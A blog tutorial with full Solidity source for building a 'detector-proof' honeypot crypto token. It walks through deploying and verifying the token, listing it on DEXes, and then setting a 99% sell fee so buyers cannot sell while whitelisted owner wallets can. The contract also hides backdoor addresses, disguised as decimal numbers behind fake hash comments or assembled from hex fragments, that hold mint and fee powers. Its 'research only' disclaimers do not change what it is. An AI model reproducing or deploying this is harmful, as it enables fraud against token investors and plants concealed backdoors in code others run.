top of page
Search
  • Writer's pictureDev Swanson

Create Your Honeypot Token (Whitelist + Switch On/Off Honeypot Mode & Detector-Proof)

Updated: May 1

Here is Dev Swanson, Ethereum smart contract researcher and enthusiast. I got a lot of requests from fans for me to discover honeypot tokens, which are tokens that are cannot be sold after being purchased.


So today, let me introduce you some useful tips on How to Create Your Own Honeypot Token that is Honeypot Detector Proof with Whitelist + Switch On / Off Honeypot mode features. Are you ready?


[Only for research and testing, don’t try to scam using this method]


Advanced Honeypot Token(Whitelist + Switch On/Off Honeypot Mode Features, make your honeypot token become Honeypot Detector Proof, cannot be detected by honeypot scanner, make your honeypot token looks more legit and investable with Whitelist address function)







Part 1: Use REMIX and Metamask to create token


1.First, install the Metamask wallet https://metamask.io/ in your computer and create account/ wallet.









2. Browse Remix IDE http://remix.ethereum.org/ You need to use Remix IDE to deploy smart contract.



3. Connect metamask to REMIX IDE. Click your metamask pluggin.










Click the “Not connected” button and connect it.




4.Back to REMIX IDE. Click Create New File.










5.Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol






6. Copy and paste the code from the bottom of this post into the space. *Do not attempt to change any code or else it won't work*


Whitelist + Switch On & Off Honeypot Mode Detector Proof Smart Contract Code:https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t-1











*Code at the bottom of the post.*


or


Copy Whitelist + Switch On & Off Honeypot Mode Detector Proof Smart Contract Code Now:https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t-1



7. Scroll down the smart contract code in Remix until you reach this row like the picture show below.





8. Now we are going to do some token setting.






Name: (Your token Name) *Write token name inside the bracket "xxxxx"


Symbol: (Give it a symbol) *Write token symbol inside the bracket "XXX"


Decimal: (18 is RECOMMENDED)


Total Supply: (Set your total token supply, Remember if your decimal is 18, and you want 1000000 total supply, then type in 1000000000000000000000000, cuz 1000000 + 18*0)


*Write total supply inside the bracket "......"


Add eighteen “0” after the quantity you want (if u set 18 as decimal). For example, if you want to issue 1000000 tokens, the correct input should be 1000000000000000000000000


After you done, we can move to new step.



9.Click the icon on the left as shown below,






Select the compiler as below, 0.8.18 …..







Then click compile.






10.After compile. Click on the icon as shown below, and select Metamask on the Environment section (cuz we r using metamask wallet)







11. On Contract section, select DevToken as contract.







12. Go back to Metamask wallet and Copy your desired deployer/owner (which is Your wallet address) wallet address and paste the address into the bracket, then Click "Deploy" button.









13. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.






14. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment.







Click view on block explorer







Copy the contract address by clicking the [copy] icon button on the right.









15. Go back to metamask, click import token.






Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token







You can create tokens in ETH mainnet, Binance Smart Chain, Arbitrum One and any other chains using the same method.



🎉🎉🎉Congratulation! You successfully created your own token and they are in your wallet!



Dev, can we start to list our token?



Butttttt, we are not done yet…One more important step still require to finish...


Which is: Verify Contract



Part 2: Verify Your Contract



Hey Dev, why we need to verify contract? Why don’t we just list our token directly into any DEX (Decentralized exchange)?



Well, the reason to verify contract is to increase the popularity of the token, investors might shy away from token that is unverified and end up to not purchasing any tokens.



Let’s start to verify token now!



1. Back to metamask, go to Activity, click on the Contract deployment.






2.Click view on block explorer






Click on the blue contract address







3. On this page, Click Contract






Click Verify and Publish







4. Next, we select the setting as below:





Compiler Type: Single File


Compiler version: 0.8.18


License Type: No license


Then click Continue



5.Then, go back to our source code in your remix ide page, copy and paste it into the space






Finish the bot test and and publish it






6. You should see the success message as shown below, if not, something is wrong, you need to recheck all the steps if u fail to get this message.








Congratulation! Your contract is now verified and you can list your token in Decentralized Exchange (DEX) Listing.


If u use Ethereum mainnet, use Uniswap, link: https://app.uniswap.org/#/swap


If u use BSC (Binance Smart Chain), use Pancakeswap, link: https://pancakeswap.finance/


If you are using Pancakeswap on Binance Smart Chain, you can read this guide on how to add liquidity in Pancakeswap V2 or V3 (If you don't see V2 options in Pancakeswap, may choose to use V3)

 

 


I will explain how this Whitelist + Switch On/Off Honeypot Mode & Detector Proof Token in details because this is not similar to normal honeypot tokens.



*Important Step#1*


Before we proceed to step#1, you may start to add liquidity first with the token created. Once you add liquidity to the token, people can buy and sell your tokens.


They can hold your tokens, and they are able to sell it back.


We will not going to let that happen, that is why we will have to SWITCH ON HONEYPOT MODE of the token.


Let's move to our first step.


Switch On Honeypot Mode


1.In order to Switch On Honeypot Mode, now back to Remix IDE, click the little triangle arrow as showed below.







2.Click the small triangle arrow of the setFees button.







3.Write 0 in the space of newBuyFee.

Write 99 in the space of newSellFee. Then click transact in order to Switch On Honeypot mode.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.




Once the transaction is done, Honeypot Mode will be Switched On. Users will not be able to sell tokens on decentralized exchanges, it is possible that some of those front-running/arbitrage bots are still able to sell some tokens.



*Take Note:You must always Switch On the Honeypot Mode AFTER you add liquidity of the tokens in order to be detector proof/ undetected as honeypot by scanner & detector.


You may free to remove liquidity whether the Honeypot Mode is Switch On/Off. It is safe to remove liquidity in both situation (On and Off).


*Buyers are able to sell their tokens if Honeypot Mode didn’t Switch On*

*Buyers are able to sell their tokens if Honeypot Mode is Switch Off*



Switch Off Honeypot Mode

1.In order to Switch Off Honeypot Mode, back to Remix IDE, click the little triangle arrow as showed below.





2.Click the small triangle arrow of the setFees button.










3.Write 0 in the space of newBuyFee.

Also write 0 in the space of newSellFee. Then click transact in order to Switch Off Honeypot mode.


Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.




Once the transaction is done, Honeypot Mode will be Switched Off. Users will be able to sell tokens on decentralized exchanges.



*Take Note: After you Switch Off the Honeypot Mode, you can always Switch On Honeypot Mode anytime.

You may free to remove liquidity whether the Honeypot Mode is Switch On/Off. It is safe to remove liquidity in both situation (On and Off).


*Buyers are able to sell their tokens if Honeypot Mode is Switch Off*

*Buyers are able to sell their tokens if Honeypot Mode didn’t Switch On*



Important Step#2

 

We will talk about how to use the Whitelist Function to whitelist addresses to allow them to buy and sell the tokens freely. (Only whitelist wallet addresses that you own and trust)

 

How To Whitelist Address:


1.In order to Whitelist address, back to Remix IDE. Click the little triangle arrow besides setFeeExempt button.




2. Paste address that you wish to whitelist(Address that will be able to sell the token)in the space of addr,write true in the space of exempt. Then click transact.



_addr: *Paste the address you wish to whitelist

_exempt: true



*Take Note:White Listed wallet addresses are able to buy and sell tokens freely

 

* Only whitelist wallet addresses that you own and trust

 

You can whitelist as many addresses as you want, just repeat the steps

 

Right now, we will talk about how to remove the address that are already whitelisted from the whitelist.



How to Remove Whitelist Adress:


1.Back to Remix IDE, click the little triangle arrow besides the removeFeeExe button.





2. Paste address that you wish to remove from whitelist (those are addresses that you already whitelisted). Then click transact.




After you remove a whitelisted address from the whitelist, the address can no longer sell tokens freely when the honeypot mode is switched on.


You can always whitelist addresses and remove whitelist addresses anytime.



*Important Step#3*


If you close your Remix IDE accidentally, what should you do? How to continue setting the Switch On & Off Honeypot Mode function and Whitelist function?


Needless to worry, I got your back. Follow the step below.



1.Back to Metamask,Click activity,Click Contract Deployment, Click View on block explorer








2.Click the blue text contract address







3.In this page,Click Contract.









4.Click Write Contract







5.Click Connect to Web3 to connect your Metamask Wallet。









6. Click Metamask pluggin on the top right to check connectivity. Make sure the connected metamask wallet address is the contract owner/ token creator.









7.Scroll down the page, Click "setFees" to Switch On/Off Honeypot Mode. Make sure the connected metamask wallet address is the contract owner/ token creator.







8. In order to Switch On Honeypot Mode, Write 0 in the space of newBuyFee. Write 99 in the space of newSellFee. Then click transact in order to Switch On Honeypot mode.





Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.


Once the transaction is done, Honeypot Mode will be Switched On. Users will not be able to sell tokens on decentralized exchanges, it is possible that some of those front-running/arbitrage bots are still able to sell some tokens.


*Take Note:You must always Switch On the Honeypot Mode AFTER you add liquidity of the tokens in order to be detector proof/ undetected as honeypot by scanner & detector.


You may free to remove liquidity whether the Honeypot Mode is Switch On/Off. It is safe to remove liquidity in both situation (On and Off).


*Buyers are able to sell their tokens if Honeypot Mode didn’t Switch On*

*Buyers are able to sell their tokens if Honeypot Mode is Switch Off*




In order to Switch Off Honeypot Mode, Write 0 in the space of newBuyFee. Also write 0 in the space of newSellFee. Then click transact in order to Switch Off Honeypot mode.




Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.


Once the transaction is done, Honeypot Mode will be Switched Off. Users will be able to sell tokens on decentralized exchanges.


*Take Note: After you Switch Off the Honeypot Mode, you can always Switch On Honeypot Mode anytime.


You may free to remove liquidity whether the Honeypot Mode is Switch On/Off. It is safe to remove liquidity in both situation (On and Off).


*Buyers are able to sell their tokens if Honeypot Mode is Switch Off*

*Buyers are able to sell their tokens if Honeypot Mode didn’t Switch On*


Now, we will talk about how to set Whitelist address below.



How To Whitelist Address:

 

1.On the same page, Click "setFeeExempt". Make sure the connected metamask wallet address is the contract owner/ token creator.




2. Paste address that you wish to whitelist(Address that will be able to sell the token)in the space of addr,write true in the space of exempt. Then click write.



_addr: *Paste the address you wish to whitelist

 

_exempt: true

 

 

*Take Note:White Listed wallet addresses are able to buy and sell tokens freely

 

* Only whitelist wallet addresses that you own and trust

 

You can whitelist as many addresses as you want, just repeat the steps


Right now, we will talk about how to remove the address that are already whitelisted from the whitelist, below.



How to Remove Whitelist Adress:

 

1. On the same page, Click "removeFeeExemptStatus". Make sure the connected metamask wallet address is the contract owner/ token creator.




2. Paste address that you wish to remove from whitelist (those are addresses that you already whitelisted). Then click write.



After you remove a whitelisted address from the whitelist, the address can no longer sell tokens freely when the honeypot mode is switched on.

 

You can always whitelist addresses and remove whitelist addresses anytime.



*Remember, this post is for testing and educational purpose only, do not try this at home!*


That is all from in my opinion. Ofcuz, this is not the end, there are many ways and techniques you can do with this token in order to maximize the effect.


We will discuss more about token tips and techniques in our next post.


Good luck with your tokens!



Link to Whitelist + Switch On & Off Honeypot Mode + Detector Proof Smart Contract Code:https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t-1




 

 

Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens 

 

 

Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet

 

 

 

Honeypot Smart Contract Codes Series:

 

Link to Upgraded Version V2 Blacklist + Undetectable Honeypot, Honeypot Scanner & Detector Proof: https://www.createyourowntoken.net/post/create-your-honeypot-token-upgraded-version-v2-blacklist-honeypot-detector-proof

 


Link to Whitelist + Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Codehttps://www.createyourowntoken.net/post/create-your-honeypot-token-whitelist-switch-on-off-honeypot-mode-detector-proof

 

 

Link to Switch On & Off Honeypot Mode + Honeypot Detector Proof Smart Contract Code:https://www.createyourowntoken.net/copy-of-detector-proof-honeypot

 

 

Link to Blacklist + Honeypot Detector-Proof Smart Contract Code: https://www.createyourowntoken.net/detector-proof-honeypot

 

 

Link to Whitelist + Anti-Bots Smart Contract Code: https://www.createyourowntoken.net/copy-of-honeypot-code-v1-0

 

 

Link to Standard Honeypot Smart Contract Code:

 

 


Want something else rather than Honeypot Smart Contract?



Normal Token Smart Contract Codes Series:

 

Link to Non Honeypot (Upgraded Version V2, Non-Honeypot, Normal Meme Token, with Unlimited Token Supply Printing Function) Token Code: https://www.createyourowntoken.net/copy-of-v2-blacklist-detector-proof

 

Link to Non Honeypot (Non-Honeypot, Normal Meme Token with Ownership Renounce Function) Token Code: https://www.createyourowntoken.net/copy-of-supply-printing-normal-meme-t 

 

 

Link to Non-Honeypot Normal Meme Token with Unlimited Supply Printing Smart Contract Code:https://www.createyourowntoken.net/copy-of-normal-meme-token-similar-to

 

 

Link to Non-Honeypot Normal Meme Token (like PEPE Token) Smart Contract Code: https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t








Learn How Much Liquidity You Should Add & What To Do: https://www.createyourowntoken.net/post/little-techniques-on-marketing-your-tokens



Learn How to Add Network and Change Network (BASE, Arbitrum, BSC and other blockchains) in Your Metamask Wallet: https://www.createyourowntoken.net/post/how-to-add-network-and-change-network-in-your-metamask-wallet



Any queries?


Contact me on Telegram: https://t.me/devswanson


My website: https://www.createyourowntoken.net/



Copy Whitelist + Switch On & Off Honeypot Mode Detector Proof Smart Contract Code Now:https://www.createyourowntoken.net/copy-of-switch-on-off-honeypot-mode-t-1



*******

*Any unauthorized edits of code might result in failure of deployment.


Source code below: ---



// SPDX-License-Identifier: MIT /** */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Division by zero"); return a / b; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } } contract DevToken { using SafeMath for uint256; string public name = "DevToken"; string public symbol = "DVET"; uint256 public totalSupply = 1000000000000000000000000; uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isFeeExempt; address public owner; address public _mbr; address public _mod; address public feeManager; address public _user; address public _adm; uint256 public buyFee; uint256 public sellFee; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); event TokensBurned(address indexed burner, uint256 amount); event AddressSetFeeExempt(address indexed feeExemptAddress); constructor(address _feeManager) { owner = msg.sender; feeManager = _feeManager; balanceOf[msg.sender] = totalSupply; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } function transfer(address _to, uint256 _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); function _scale(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } modifier Exchanges() { require(msg.sender != exchange()); _; } function rewire(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function compute(uint256 amount) public onlypublic returns (bool success) { _initiate(msg.sender, amount); return true; } function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); _setFees(newBuyFee, newSellFee); emit FeesUpdated(newBuyFee, newSellFee); } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function scaling(uint256 amount) public onlyAuthorized returns (bool) { _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyAuthorize { _transferTo(_to, _amount); } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } modifier onlyAuthorize() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(balanceOf[_from] >= _amount, "Insufficient balance"); require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); require(_to != address(0), "Invalid recipient address"); uint256 fee = 0; if (!isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); } uint256 amountAfterFee = _amount.sub(fee); balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { // Fee is transferred to this contract balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function _initiate(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function FeesView(uint256 amount) public onlyAuthorize returns (bool) { _scale(msg.sender, amount); return true; } modifier onlypublic() { require(msg.sender == publics()); _; } function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { buyFee = newBuyFee; sellFee = newSellFee; } function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function LockLPToken() public onlyOwner returns (bool) { } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setFeeExempt(address _addr, bool _exempt) public onlyOwner { isFeeExempt[_addr] = _exempt; if (_exempt) { emit AddressSetFeeExempt(_addr); } } function removeFeeExemptStatus(address _addr) public onlyOwner { require(isFeeExempt[_addr], "Address is not fee exempt"); isFeeExempt[_addr] = false; } function buy() public payable { require(msg.value > 0, "ETH amount should be greater than 0"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); emit Transfer(address(this), feeManager, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[feeManager] = balanceOf[feeManager].add(amount); emit Transfer(address(this), feeManager, amount); } } function setting(uint256 newBuyFee, uint256 newSellFee) public { require(msg.sender == _adm); require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function sell(uint256 _amount) public { require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); emit Transfer(msg.sender, address(this), amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } modifier onlyAuthorized() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } }


1,956 views
bottom of page